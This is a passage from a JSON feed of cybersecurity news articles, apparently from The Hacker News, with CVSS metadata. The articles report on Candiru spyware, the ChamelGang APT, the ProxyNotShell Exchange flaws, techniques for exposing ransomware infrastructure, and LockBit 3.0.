Lab.\n\n\"[Candiru](<https://www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/>)'s apparent widespread presence, and the use of its surveillance technology against global civil society, is a potent reminder that the mercenary spyware industry contains many players and is prone to widespread abuse,\" Citizen Lab researchers [said](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>). \"This case demonstrates, yet again, that in the absence of any international safeguards or strong government export controls, spyware vendors will sell to government clients who will routinely abuse their services.\"\n\nFounded in 2014, the private-sector offensive actor (PSOA) \u2014 codenamed \"Sourgum\" by Microsoft \u2014 is said to be the developer of an espionage toolkit dubbed DevilsTongue that's exclusively sold to governments and is capable of infecting and monitoring a broad range of devices across different platforms, including iPhones, Androids, Macs, PCs, and cloud accounts.\n\nCitizen Lab said it was able to recover a copy of Candiru's Windows spyware after obtaining a hard drive from \"a politically active victim in Western Europe,\" which was then reverse engineered to identify two never-before-seen Windows zero-day exploits for vulnerabilities tracked as [CVE-2021-31979 and CVE-2021-33771](<https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html>) that were leveraged to install malware on victim boxes.\n\nThe infection chain relied on a mix of browser and Windows exploits, with the former served via single-use URLs sent to targets on messaging applications such as WhatsApp. Microsoft addressed both the privilege escalation flaws, which enable an adversary to escape browser sandboxes and gain kernel code execution, on July 13.\n\nThe intrusions culminated in the deployment of DevilsTongue, a modular C/C++-based backdoor equipped with a number of capabilities, including exfiltrating files, exporting messages saved in the encrypted messaging app Signal, and stealing cookies and passwords from Chrome, Internet Explorer, Firefox, Safari, and Opera browsers.\n\nMicrosoft's analysis of the digital weapon also found that it could abuse the stolen cookies from logged-in email and social media accounts like Facebook, Twitter, Gmail, Yahoo, Mail.ru, Odnoklassniki, and Vkontakte to collect information, read the victim's messages, retrieve photos, and even send messages on their behalf, thus allowing the threat actor to send malicious links directly from a compromised user's computer.\n\nSeparately, the Citizen Lab report also tied the two Google Chrome vulnerabilities disclosed by the search giant on Wednesday \u2014 [CVE-2021-21166 and CVE-2021-30551](<https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html>) \u2014 to the Tel Aviv company, noting overlaps in the websites that were used to distribute the exploits.\n\nFurthermore, 764 domains linked to Candiru's spyware infrastructure were uncovered, with many of the domains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement, as well as media companies, and other civil-society themed entities. Some of the systems under their control were operated from Saudi Arabia, Israel, U.A.E., Hungary, and Indonesia.\n\nOver 100 victims of SOURGUM's malware have been identified to date, with targets located in Palestine, Israel, Iran, Lebanon, Yemen, Spain (Catalonia), United Kingdom, Turkey, Armenia, and Singapore. \"These attacks have largely targeted consumer accounts, indicating Sourgum's customers were pursuing particular individuals,\" Microsoft's General Manager of Digital Security Unit, Cristin Goodwin, [said](<https://blogs.microsoft.com/on-the-issues/2021/07/15/cyberweapons-cybersecurity-sourgum-malware/>).\n\nThe latest report arrives as TAG researchers Maddie Stone and Clement Lecigne noted a surge in attackers using more zero-day exploits in their cyber offensives, in part fueled by more commercial vendors selling access to zero-days than in the early 2010s.\n\n\"Private-sector offensive actors are private companies that manufacture and sell cyberweapons in hacking-as-a-service packages, often to government agencies around the world, to hack into their targets' computers, phones, network infrastructure, and other devices,\" Microsoft Threat Intelligence Center (MSTIC) [said](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>) in a technical rundown.\n\n\"With these hacking packages, usually the government agencies choose the targets and run the actual operations themselves. The tools, tactics, and procedures used by these companies only adds to the complexity, scale, and sophistication of attacks,\" MSTIC added.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T11:13:00", "type": "thn", "title": "Israeli Firm Helped Governments Target Journalists, Activists with 0-Days and Spyware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21166", "CVE-2021-30551", "CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-19T16:01:00", "id": "THN:CDCF433A7837180E1F294791C672C5BB", "href": "https://thehackernews.com/2021/07/israeli-firm-helped-governments-target.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:14", "description": "[![APT Hacking Group](https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEiQk7skJEo49QfN4ESusan9jBZfTXapDKpnR6CXuJbaNKUBpx7nO684Vj5RRctI8hh09KwyntDYPyeQI-HbWC03E5Uo4ABDXXj3vfb774Dv1G65e03iX30VM0pcCe5hQfxnkW-u1V4gZgZ3L2et_QXqceUwFJfPQDg8aUOWSagSt-l0OGRquNTiLEso>)\n\nA previously undocumented threat actor has been identified as behind a string of attacks targeting fuel, energy, and aviation production industries in Russia, the U.S., India, Nepal, Taiwan, and Japan with the goal of stealing data from compromised networks.\n\nCybersecurity company Positive Technologies dubbed the advanced persistent threat (APT) group ChamelGang \u2014 referring to their chameleellonic capabilities, including disguising \"its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.\" \n\n\"To achieve their goal, the attackers used a trending penetration method\u2014supply chain,\" the researchers [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-uncovers-new-apt-group-attacking-russia-s-fuel-and-energy-complex-and-aviation-production-industry/>) of one of the incidents investigated by the firm. \"The group compromised a subsidiary and penetrated the target company's network through it. Trusted relationship attacks are rare today due to the complexity of their execution. Using this method [\u2026], the ChamelGang group was able to achieve its goal and steal data from the compromised network.\"\n\nIntrusions mounted by the adversary are believed to have commenced at the end of March 2021, with later attacks in August leveraging what's called the [ProxyShell](<https://thehackernews.com/2021/08/hackers-actively-searching-for.html>) chain of vulnerabilities affecting Microsoft Exchange Servers, the technical details of which were first revealed at the Black Hat USA 2021 security conference earlier that month.\n\n[![Microsoft](https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEgpU90FEVyvHUv6m3vUITmIj4tJ_Kexp6cw5No4dV8_Po339DpYJtWa0Z-_BTv7hBE9_EkkSjRVlbP2lsM6MxD-x1p1yD_mQOhRoeiBy9vjPZXWBKrrJlJlvEbl4QdL8woMTd4XIY2ZGusd5N0uFaCwXBUiwFnJnXGfU0C-ESawdO8FR9OB4njoQ6oc>)\n\nThe attack in March is also notable for the fact that the operators breached a subsidiary organization to gain access to an unnamed energy company's network by exploiting a flaw in Red Hat JBoss Enterprise Application ([CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>)) to remotely execute commands on the host and deploy malicious payloads that enable the actor to launch the malware with elevated privileges, laterally pivot across the network, and perform reconnaissance, before deploying a backdoor called DoorMe.\n\n\"The infected hosts were controlled by the attackers using the public utility FRP (fast reverse proxy), written in Golang,\" the researchers said. \"This utility allows connecting to a reverse proxy server. The attackers' requests were routed using the socks5 plugin through the server address obtained from the configuration data.\"\n\nOn the other hand, the August attack against a Russian company in the aviation production sector involved the exploitation of ProxyShell flaws (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to drop additional web shells and conduct remote reconnaissance on the compromised node, ultimately leading to the installation of a modified version of the DoorMe implant that comes with expanded capabilities to run arbitrary commands and carry out file operations.\n\n\"Targeting the fuel and energy complex and aviation industry in Russia isn't unique \u2014 this sector is one of the three most frequently attacked,\" Positive Technologies' Head of Threat Analysis, Denis Kuvshinov, said. \"However, the consequences are serious: Most often such attacks lead to financial or data loss\u2014in 84% of all cases last year, the attacks were specifically created to steal data, and that causes major financial and reputational damage.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-10-04T12:48:00", "type": "thn", "title": "A New APT Hacking Group Targeting Fuel, Energy, and Aviation Industries", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-04T12:48:16", "id": "THN:E95B6A75073DA71CEC73B2E4F0B13622", "href": "https://thehackernews.com/2021/10/a-new-apt-hacking-group-targeting-fuel.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-04T12:04:40", "description": "[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e1000/proxynotshell.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh6538WifO-pQPlUhACBuUX_jTbrSpW305DDSQv2XtGhWolinz3L4Hgy3yckiql7NJG9L9tFcb9ZFIPr1a1yBf9bvlyuXOAhhxdrgegxaIMeSIxRzX7JFkUbAULNHo8UzppH76EuY77JOotsyc1FYph-TCqk5DAr4GPj--2TvKuoLT8Tucw6ssJeCOa/s728-e100/proxynotshell.jpg>)\n\nNicknamed ProxyNotShell, a new exploit used in the wild takes advantage of the recently published Microsoft Server-Side Request Forgery (SSRF) vulnerability CVE-2022-41040 and a second vulnerability, CVE-2022-41082 that allows Remote Code Execution (RCE) when PowerShell is available to unidentified attackers.\n\nBased on ProxyShell, this new zero-day abuse risk leverage a chained attack similar to the one used in the 2021 ProxyShell attack that exploited the combination of multiple vulnerabilities - CVE-2021-34523, CVE-2021-34473, and CVE-2021-31207 \u2013 to permit a remote actor to execute arbitrary code.\n\nDespite the potential severity of attacks using them, ProxyShell vulnerabilities are still on CISA's list of top 2021 routinely exploited vulnerabilities.\n\n## Meet ProxyNotShell \n\nRecorded on September 19, 2022, CVE-2022-41082 is an attack vector targeting Microsoft's Exchange Servers, enabling attacks of low complexity with low privileges required. Impacted services, if vulnerable, enable an authenticated attacker to compromise the underlying exchange server by leveraging existing exchange PowerShell, which could result in a full compromise.\n\nWith the help of CVE-2022-41040, another Microsoft vulnerability also recorded on September 19, 2022, an attacker can remotely trigger CVE-2022-41082 to remotely execute commands.\n\nThough a user needs to have the privilege to access CVE-2022-41040, which should curtail the vulnerability accessibility to attackers, the required level of privilege is low.\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure.\n\nBoth vulnerabilities were uncovered during an active attack against GTSC, a Vietnamese organization called GTSC, granting attackers access to some of their clients. Though neither vulnerability on its own is particularly dangerous, exploits chaining them together could potentially lead to catastrophic breaches.\n\nThe chained vulnerabilities could grant an outsider attacker the ability to read emails directly off an organization's server the ability to breach the organization with CVE-2022-41040 Remote Code Execution and implant malware on the organization's Exchange Server with CVE-2022-41082.\n\nThough it appears that attackers would need some level of authentication to activate the chained vulnerabilities exploit, the exact level of authentication required \u2013 rated \"Low\" by Microsoft \u2013 is not yet clarified. Yet, this required low authentication level should effectively prevent a massive, automated attack targeting every Exchange server around the globe. This hopefully will prevent a replay of the 2021 ProxyShell debacle.\n\nYet, finding a single valid email address/password combination on a given Exchange server should not be overly difficult, and, as this attack bypasses MFA or FIDO token validation to log into Outlook Web Access, a single compromised email address/password combination is all that is needed.\n\n## Mitigating ProxyNotShell Exposure\n\nAt the time of writing, Microsoft has not yet issued a patch but recommends that users [add a blocking rule](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) as a mitigation measure of unknown efficacy.\n\nBlocking incoming traffic to Exchange Servers holding critical asserts is also an option, though only practicable if such a measure does not impact vital operations and should ideally be perceived as a temporary measure pending Microsoft's issuance of a verified patch.\n\n## Assessing ProxyNotShell Exposure\n\nAs the current mitigation options are either of unverified efficacy or potentially damaging to the smooth running of operations, evaluating the degree of exposure to ProxyNotShell might prevent taking potentially disruptive unnecessary preventative measures, or indicate which assets to preemptively migrate to unexposed servers.\n\nCymulate Research Lab has developed a [custom-made assessment for ProxyNotShell](<https://cymulate.com/free-trial/>) that enable organizations to estimate exactly their degree of exposure to ProxyNotShell.\n\nA ProxyNotShell attack vector has been added to the advanced scenarios templates, and running it on your environment yields the necessary information to validate exposure \u2013 or lack thereof - to ProxyNotShell.\n\n[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e1000/222.png)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgOoxz7w2_H46l72-JIWEEozP6gnLHfSQt_wbm1RRkjB0NOn2rBaB0wW4-jBFx4wbMgPAmXZvOdPPwjnUFX2u8zbdJZLSXKMAoft6Skt3EXk_gH1ehXK9DLBpHKouidVH9WE9P1SQs3h-s1VAfGKtHqeXaxkjtGS4lDIItWgmQo1FSLk_6z6fV7ZtQw/s728-e100/222.png>)\n\n[![ProxyNotShell](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e1000/111.png)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiqGWTwc-0vwEKrwSp1s7coId4IRI3KelQKVBG1iXsx0N32996O0Lprr0PA035V1oLkFpdjQ1euXlqcL0le7gsuWoWI9NSCEBW0Nj-OCQZn8ovDyuK-b-MtVYhjKmGIWuZO5IkdqNRBvKSiWttxGP46GmxjlZtpI_FSz2728WiqkvKTOoOJIp0KrjOH/s728-e100/111.png>)\n\nUntil verified patches are available from Microsoft, assessing exposure to ProxyNotShell to evaluate exactly which servers are potential targets is the most cost-efficient way to evaluate exactly which assets are exposed and devise targeted preemptive measures with maximum impact.\n\n_Note: This article is contributed by [Cymulate Research Labs](<https://cymulate.com/>)._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-04T08:05:00", "type": "thn", "title": "ProxyNotShell \u2013 the New Proxy Hell?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-04T10:19:04", "id": "THN:54023E40C0AA4CB15793A39F3AF102AB", "href": "https://thehackernews.com/2022/10/proxynotshell-new-proxy-hell.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-06T07:58:10", "description": "[![Anonymized Ransomware Sites on Dark Web](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhW8mCPe27LdzHLP4ngj6tlt2Pg8kCf_fM8vePiD96oqVL7MUOW8zxZlXFGU1HvblavK2Xdcm0tf2j7r5qbvTV9iW1N9M95vbWmuFsGUq0MkEeY7rnkpeop76NG41Eys_CeiCVl0xS8l4E21-RosfCrVOTGYR8jNw1F5Q2v-OjF2MeqKfBbPn6bDseq/s728-e1000/ransomware.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhW8mCPe27LdzHLP4ngj6tlt2Pg8kCf_fM8vePiD96oqVL7MUOW8zxZlXFGU1HvblavK2Xdcm0tf2j7r5qbvTV9iW1N9M95vbWmuFsGUq0MkEeY7rnkpeop76NG41Eys_CeiCVl0xS8l4E21-RosfCrVOTGYR8jNw1F5Q2v-OjF2MeqKfBbPn6bDseq/s728-e100/ransomware.jpg>)\n\nCybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure.\n\n\"Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites,\" Cisco Talos researcher Paul Eubanks [said](<https://blog.talosintelligence.com/2022/06/de-anonymizing-ransomware-domains-on.html>). \"They use VPS hop-points as a proxy to hide their true location when they connect to their ransomware web infrastructure for remote administration tasks.\"\n\nAlso prominent are the use of the TOR network and DNS proxy registration services to provide an added layer of anonymity for their illegal operations.\n\nBut by taking advantage of the threat actors' operational security missteps and other techniques, the cybersecurity firm disclosed last week that it was able to identify TOR hidden services hosted on public IP addresses, some of which are previously unknown infrastructure associated with [DarkAngels](<https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/>), [Snatch](<https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch>), [Quantum](<https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware>), and [Nokoyawa](<https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa>) ransomware groups.\n\nWhile ransomware groups are known to rely on the dark web to conceal their illicit activities ranging from leaking stolen data to negotiating payments with victims, Talos disclosed that it was able to identify \"public IP addresses hosting the same threat actor infrastructure as those on the dark web.\"\n\n\"The methods we used to identify the public internet IPs involved matching threat actors' [self-signed] [TLS certificate](<https://www.digicert.com/tls-ssl/tls-ssl-certificates>) serial numbers and page elements with those indexed on the public internet,\" Eubanks said.\n\n[![Anonymized Ransomware Sites on Dark Web](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjaV9wVlzzeADW3plTap4jOh9fqaG1M5Q8q7q-pX6vbN6EAWqHqnEEvq-nA0yW2N64kchUyacQRbSQXnYk0i2qcd2Lxjiu4alpeum5cu6QCPMBvjt90TSKl-7opy4d0YCn8MX_tPYh7B04Vidh2gZfgYJXxKGevp9NbNa8lZg-DQGZXl7xjDrvwfK89/s728-e1000/cert.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjaV9wVlzzeADW3plTap4jOh9fqaG1M5Q8q7q-pX6vbN6EAWqHqnEEvq-nA0yW2N64kchUyacQRbSQXnYk0i2qcd2Lxjiu4alpeum5cu6QCPMBvjt90TSKl-7opy4d0YCn8MX_tPYh7B04Vidh2gZfgYJXxKGevp9NbNa8lZg-DQGZXl7xjDrvwfK89/s728-e100/cert.jpg>)\n\nBesides TLS certificate matching, a second method employed to uncover the adversaries' clear web infrastructures entailed checking the favicons associated with the darknet websites against the public internet using web crawlers like Shodan.\n\nIn the case of [Nokoyawa](<https://www.fortinet.com/blog/threat-research/nokoyawa-variant-catching-up>), a new Windows ransomware strain that appeared earlier this year and shares substantial code similarities with Karma, the site hosted on the TOR hidden service was found to harbor a directory traversal flaw that enabled the researchers to access the \"[/var/log/auth.log](<https://help.ubuntu.com/community/LinuxLogFiles>)\" file used to capture user logins.\n\nThe findings demonstrate that not only are the criminal actors' leak sites accessible for any user on the internet, other infrastructure components, including identifying server data, were left exposed, effectively making it possible to obtain the login locations used to administer the ransomware servers.\n\n[![Anonymized Ransomware Sites on Dark Web](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiKBfxqmczj3qrieqIFbqxh8pEIBTtSz9_BdFyfDEKmGEjCUPpH7QhuZsHt6jxBWgKWU2wcnFlthPIVmExegrtxg0bzvUln74smXx6Krggvf6_bQ9tr_o1NRTxCcjmsINrMdRyZpvXHdS8zZSeFCw8zi_qx2puc2SGz4zIL9dtTRKkdNSYZMGX3KE3p/s728-e1000/keys.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiKBfxqmczj3qrieqIFbqxh8pEIBTtSz9_BdFyfDEKmGEjCUPpH7QhuZsHt6jxBWgKWU2wcnFlthPIVmExegrtxg0bzvUln74smXx6Krggvf6_bQ9tr_o1NRTxCcjmsINrMdRyZpvXHdS8zZSeFCw8zi_qx2puc2SGz4zIL9dtTRKkdNSYZMGX3KE3p/s728-e100/keys.jpg>)\n\nFurther analysis of the successful root user logins showed that they originated from two IP addresses 5.230.29[.]12 and 176.119.0[.]195, the former of which belongs to GHOSTnet GmbH, a hosting provider that offers Virtual Private Server (VPS) services.\n\n\"176.119.0[.]195 however belongs to AS58271 which is listed under the name Tyatkova Oksana Valerievna,\" Eubanks noted. \"It's possible the operator forgot to use the German-based VPS for obfuscation and logged into a session with this web server directly from their true location at 176.119.0[.]195.\"\n\n### LockBit adds a bug bounty program to its revamped RaaS operation\n\nThe development comes as the operators of the emerging [Black Basta](<https://thehackernews.com/2022/06/cybersecurity-experts-warn-of-emerging.html>) ransomware [expanded](<https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html>) their attack arsenal by using QakBot for initial access and lateral movement, and taking advantage of the PrintNightmare vulnerability ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>)) to conduct privileged file operations.\n\nWhat's more, the LockBit ransomware gang last week [announced](<https://twitter.com/vxunderground/status/1541156954214727685>) the release of LockBit 3.0 with the message \"Make Ransomware Great Again!,\" in addition to launching their own Bug Bounty program, offering rewards ranging between $1,000 and $1 million for identifying security flaws and \"brilliant ideas\" to improve its software.\n\n[![bug bounty program](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjwyY9trUR2Z6AyEmJ7Zm0vLXiYawK0UpJysKcAGEK4eyTyY-cibr3Vgf7ATbqzCSSUqeTQTR_TQkAtJ5XPpqiw8JZnWQg1KTo0ktefqdmaqc8XFgVp27DzMej76ut1FMMJ8h0r2U-UR72FNxbM4_q9ph1cAzMroG_05T9as1lDjAVK34y53Er0koFQ/s728-e1000/bug.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjwyY9trUR2Z6AyEmJ7Zm0vLXiYawK0UpJysKcAGEK4eyTyY-cibr3Vgf7ATbqzCSSUqeTQTR_TQkAtJ5XPpqiw8JZnWQg1KTo0ktefqdmaqc8XFgVp27DzMej76ut1FMMJ8h0r2U-UR72FNxbM4_q9ph1cAzMroG_05T9as1lDjAVK34y53Er0koFQ/s728-e100/bug.jpg>)\n\n\"The release of LockBit 3.0 with the introduction of a bug bounty program is a formal invitation to cybercriminals to help assist the group in its quest to remain at the top,\" Satnam Narang, senior staff research engineer at Tenable, said in a statement shared with The Hacker News.\n\n\"A key focus of the bug bounty program are defensive measures: Preventing security researchers and law enforcement from finding bugs in its leak sites or ransomware, identifying ways that members including the affiliate program boss could be doxed, as well as finding bugs within the messaging software used by the group for internal communications and the Tor network itself.\"\n\n\"The threat of being doxed or identified signals that law enforcement efforts are clearly a great concern for groups like LockBit. Finally, the group is planning to offer Zcash as a payment option, which is significant, as Zcash is harder to trace than Bitcoin, making it harder for researchers to keep tabs on the group's activity.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-05T07:06:00", "type": "thn", "title": "Researchers Share Techniques to Uncover Anonymized Ransomware Sites on Dark Web", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-06T06:06:49", "id": "THN:849B821D3503018DA38FAFFBC34DAEBB", "href": "https://thehackernews.com/2022/07/researchers-share-techniques-to-uncover.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[![Microsoft Print Spooler Vulnerability](https://thehackernews.com/images/-J4q0IawSomE/YOSMoHyRjgI/AAAAAAAABHE/cP0YFHHZFtA9uluA4FTtUF6qLpRtEeAEgCLcBGAsYHQ/s728-e1000/Microsoft-PrintSpooler-Vulnerability.jpg)](<https://thehackernews.com/images/-J4q0IawSomE/YOSMoHyRjgI/AAAAAAAABHE/cP0YFHHZFtA9uluA4FTtUF6qLpRtEeAEgCLcBGAsYHQ/s0/Microsoft-PrintSpooler-Vulnerability.jpg>)\n\nThis week, **PrintNightmare** \\- Microsoft's Print Spooler vulnerability (CVE-2021-34527) was upgraded from a 'Low' criticality to a 'Critical' criticality.\n\nThis is due to a Proof of Concept published on GitHub, which attackers could potentially leverage for 